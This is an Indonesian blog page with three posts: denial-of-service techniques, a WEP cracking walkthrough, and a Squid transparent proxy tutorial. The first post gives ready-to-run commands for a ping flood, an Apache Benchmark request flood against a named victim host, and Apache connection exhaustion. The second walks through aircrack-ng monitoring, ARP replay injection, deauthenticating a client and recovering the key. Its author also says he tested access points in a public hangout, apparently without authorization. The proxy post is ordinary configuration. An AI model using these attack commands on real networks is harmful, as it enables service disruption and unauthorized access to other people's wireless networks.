Tuesday, April 27, 2010

Hacker kecil2an

Serangan langsung (+ 31337)

1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya
sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan)
suatu web server, namun tidak tertutup kemungkinan untuk melakukan
penyalahgunaan.
bash $ /usr/sbin/ab -n 10000 -c 300 \
http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
(diketik dalam 1 baris!)
Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal
oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak
koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients.
Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1
request simultan dengan koneksi terpisah-pisah.

Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan
menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit).
Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa
batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache
akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan,
seolah-olah server korban tewas.

Friday, April 23, 2010

Crek WEP Access Point dengan Ubuntu

Shared Key atau WEP (Wired Equivalent Privacy) adalah suatu metoda pengamanan jaringan nirkabel, disebut juga dengan Shared Key Authentication. Shared Key

Authentication adalah metoda otentikasi yang membutuhkan penggunaan WEP. Enkripsi WEP menggunakan kunci yang dimasukkan
(oleh administrator) ke client maupun

access point. Kunci ini harus cocok dari yang diberikan akses point ke client, dengan yang dimasukkan client untuk authentikasi
menuju access point.

Proses Shared Key Authentication:
client meminta asosiasi ke access point, langkah ini sama seperti Open System Authentication.
access point mengirimkan text challenge ke client secara transparan.
client akan memberikan respon dengan mengenkripsi text challenge dengan menggunakan kunci WEP dan mengirimkan kembali ke access point.
access point memberi respon atas tanggapan client, akses point akan melakukan decrypt terhadap respon enkripsi dari client untuk melakukan verifikasi bahwa

text challenge dienkripsi dengan menggunakan WEP key yang sesuai. Pada proses ini, access point akan menentukan apakah client sudah memberikan kunci WEP yang

sesuai. Apabila kunci WEP yang diberikan oleh client sudah benar, maka access point akan merespon positif dan langsung meng-authentikasi client. Namun bila

kunci WEP yang dimasukkan client adalah salah, maka access point akan merespon negatif dan client tidak akan diberi authentikasi. Dengan demikian, client

tidak akan terauthentikasi dan tidak terasosiasi.
Menurut Arief Hamdani Gunawan, Komunikasi Data via IEEE 802.11, Shared Key Authentication kelihatannya lebih aman dari dari pada Open System Authentication,

namun pada kenyataannya tidak. Shared Key malah membuka pintu bagi penyusup atau cracker. Penting untuk dimengerti dua jalan yang digunakan oleh WEP. WEP

bisa digunakan untuk memverifikasi identitas client selama proses shared key dari authentikasi, tapi juga bisa digunakan untuk men-dekripsi data yang

dikirimkan oleh client melalui access point.
Dari: [URL="http://id.wikipedia.org/wiki/Wep"]Wiki pedia[/URL]

Nah Sekarang aku coba mengetes Keamanan dari WEP key tersebut

Peralatan :

USB Wireless [ Linksys WUSB 45 GC ]
Laptop [ Os UBUNTU 8.10 ]

Pertama2 kiata instal aircrack nya dari synaptic manager : System > Administrator >Synaptic Manager



Setelah semua terinstal....kita siap melakukan test....
Aku mengetest nya pada jaringan wireles kantor ku sendiri..... and ingat sekala tindakan dengan cracking termasuk tindakan ilegal.....resiko tanggung sendiri

pertama2 kita mengatifkan wireles adaptor nya dengan perintah:

sudo airmon-ng start wlan1


LinkSys WUSB 45 GC di linkungan linux dikenal sebagai: raUsb, ralink, rt73
setelah mengaktifan dengan perintah d atas maka akan tercipta sebuah wireles adaptor virtual dengan nama mon0
adaptor virtual ini yang akan kita gunakan untuk menginjek Wireless dengan Pengamanan WEP tersebut

Selanjut nya kita akan melakukan Dumping dari AP tersebut dengan perintah :
sudo airodump-ng --channel 11 -w pu mon0


--channel : Lihat channel dari AP tersebut
-w : arti nya meng Write semua paket2 data dari AP tersebut dengan nama "pu" > hasil nya : pu-01.cap
mon0: Virtual adaptor dari Wlan1 atau LinkSys WUSB 45 GC tersebut

setelah menentukan target selanjut nya kita mencoba menciptakan Paket data dengan aireplay


aireplay ini yang dibutuhkan untuk proses cracking dengan perintah :
sudo aireplay-ng -3 -b 00:0F:CB:FE:F5:AD -d 00:12:F0:99:8B:90 mon0

aireplay-ng -3 : -3 adalah --arpreplay yang bertujuan menciptakan paket data
-b : Mac addres AP ( 00:0F:CB:FE:F5:AD )
-d : Mac addres Client yang terhubung dengan AP ( 00:12:F0:99:8B:90 )
mon0 : Wireles adapter

setelah semua berjalan kita akan melihat ARP yang kita dapati dari hasil iinjeksi dengan aireplay tadi. Untuk membantu menciptaan paket data tersebut supaya

cepat kita bisa mengunakan DeaAuth cara nya :

sudo aireplay-ng --deauth 10 -a 00:0F:CB:FE:F5:AD -c 00:12:F0:99:8B:90 mon0


aireplay-ng --deauth: perintah untuk memutuskan Client dengan AP dengan tujuan kita dapat mendumping data2 sewaktu Client berusaha menghubungi AP
10 : Jumlah Serangan
-a : MAC addres AP ( 00:0F:CB:FE:F5:AD )
-c : MAC adress Client ( 00:12:F0:99:8B:90 )
mon0 : Wireles adaptor

Selanjut nya kita menunggu sampai data terkumpul cukup buat proses cracking.....
Setelah semua nya cukup kita melakukan proses cracking dengan aircrack


kita coba belihat hasil dumping nya


selanjut nya dilanjutkan dengan Perintah nya : aircrack-ng pu-01.cap


Ooops dalam waktu 14 detik kita sudah bisa mendapatkan Key dari AP tersebut.

Selain melakukan test di kantor sendiri aku juga melakukan beberapa test di :

Tempat Nonggkrong Anak2 tadpole Aceh di Helsingki yang banyak AP nya masih menggunakan WEP sebagai Pengamanan Jaringan Wireles nya :


wieeeeiiiih capek.....mengarang ne..... panjang hehehhhhoho..
Sekian dah......maap kalo ada y salah... suit
geek

Monday, April 12, 2010

Konfigurasi Tranparent Proxy squid 2.4

Pada tutorial sebelumnya, kita sudah mempelajari apa itu squid dan bagaimana cara mengkonfigurasinya dan disertai dengan erbagai macam kasus. Namun, perlu diketahui bahwa jika kita menggunakan konfigurasi tersebut maka kita harus men-setting secara manual setting-an proxy di web browser agar dapat berinternet. Nah, bagaimana jika computer yang harus disetting berjumlah ratusan? Apalagi jika suatu saat ada perubahan IP dan port proxy server yang digunakan, tentu akan sangat merepotkan sekali.

Untuk menyiasati hal tersebut, diperlukan suatu cara agar kita tidak perlu memasukkan secara manual settinga-an proxy yang berlaku yaitu dengan menggunakan transparent proxy. Prinsip kerja transparent proxy adalah sebuah firewall atau redirector lainnya akan menangkap koneksi TCP yang ditujukan ke port tertentu ke port tertentu pada remote host, dan kemudian akan mengarahkan koneksi TCP tersebut ke proxy server lokal. Proxy server menggunakan header HTTP untuk menentukan ke mana proxy akan melakukan koneksi dan request dari mana yang akan di-proxy. Untuk mengaplikasikan transparant proxy, Anda dapat memerlukan aplikasi Iptables. Dengan Iptables, anda cukup membuat rule untuk menangkap trafik yang ditujukan untuk port 80, dan mengarahkan trafik ini ke port dari proxy server (biasanya 3128 atau 8080). Konfigurasi untuk membuat transparent proxy terbagi dua yaitu konfigurasi di dalam server dimana firewall dan squid digabung dan konfigurasi di dalam server dimana firewall dan squid terpisah.

II. Syarat-Syarat Transparent Proxy

Untuk dapat menjalankan transparent proxy, maka syarat-syarat dibawah ini harus terpenuhi:

1. Pastikan proxy sudah terinstal dalam sistem.

2. Pastikan paket dan service iptables sudah terinstal dalam sistem.

3. Squid terkonfigurasi dengan menggunakan port 3128.
III. Konfigurasi transparan Proxy
1. Masuk ke file sysctl.conf di /etc/sysctl.conf dan mengubah nilainya pada bagian ip_forward dari 0 menjadi 1 sehingga akan menjadi seperti berikut:

net.ipv4.ip_forward = 1

Jika sudah selesai, restart network dengan cara:

# sysctl -p

2. Edit file squid.conf, kemudian tambahkan baris dibawah ini pada bagian paling bawah dari file ini:

# transparent proxy
httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on

3. Lakukan masquerading dengan menggunakan iptables. IP masquerading berguna untuk menghubungkan beberapa komputer yang terkoneksi ke sebuah komputer yang sudah terkoneksi ke Internet agar dapat mengakses ke Internet, atau istilahnya Internet Connection Sharing.

iptables -A POSTROUTING -j MASQUERADE -t nat -s 192.168.0.0/24 -o eth0

Option -o tersebut tolong disesuaikan dengan interface yang terdekat dengan jaringan luar.

4. Selanjutnya arahkan semua permintaan web pada port 80 ke port squid. Untuk kondisi ini, terdapat dua buah opsi. Jika squid dan firewall yang mengarahkan berada pada satu komputer, gunakan perintah ini:

iptables -t nat -p tcp -A PREROUTING -s 192.168.0.0/24 -d 0/0 –dport 80 -j REDIRECT –to-ports 3128

Tapi, Jika Squid dan firewall yang mengarahkan tidak berada pada satu komputer maka ikuti langkah berikut:

5. Misal Squid berada pada komputer yang ber-IP 192.168.0.4 dan port yang digunakan adalah 3128 atau kita sebut saja komputer ini dengan nama squid-box. Dan satunya lagi komputer yang terhubung ke Internet langsung sebagai firewall mempunyai IP 192.168.0.1 kita sebut saja komputer ini dengan nama iptables-box. Dari komputer iptables-box, coba Anda ketikkan perintah berikut untuk mengaktifkan transparant proxy di mesin squid-box.

iptables -t nat -A PREROUTING -i eth0 -s ! 192.168.0.4 -p tcp --dport 80 -j DNAT --to 192.168.0.4:3128
iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.0/24 -d 192.168.0.4 -j SNAT –to 192.168.0.1
iptables -A FORWARD -s 192.168.0.0/24 -d 192.168.0.4 -i eth0 -o eth0 -p tcp --dport 3128 -j ACCEPT

6. Setelah itu, coba amati file access.log di mesin proxy kita yang berada di folder /var/log/squid, lalu ketikkan:

# tail -f access.log

Jika semuanya sudah benar, seharusnya jika ada user yang sedang mengakses web, Anda sudah dapat mengamati prosesnya dari mesin proxy tersebut dan akan terlihat seperti berikut:



Referensi
Jaringan Komputer Teori dan Implementasi Berbasis Linux, Wagito
Ilmukomputer.org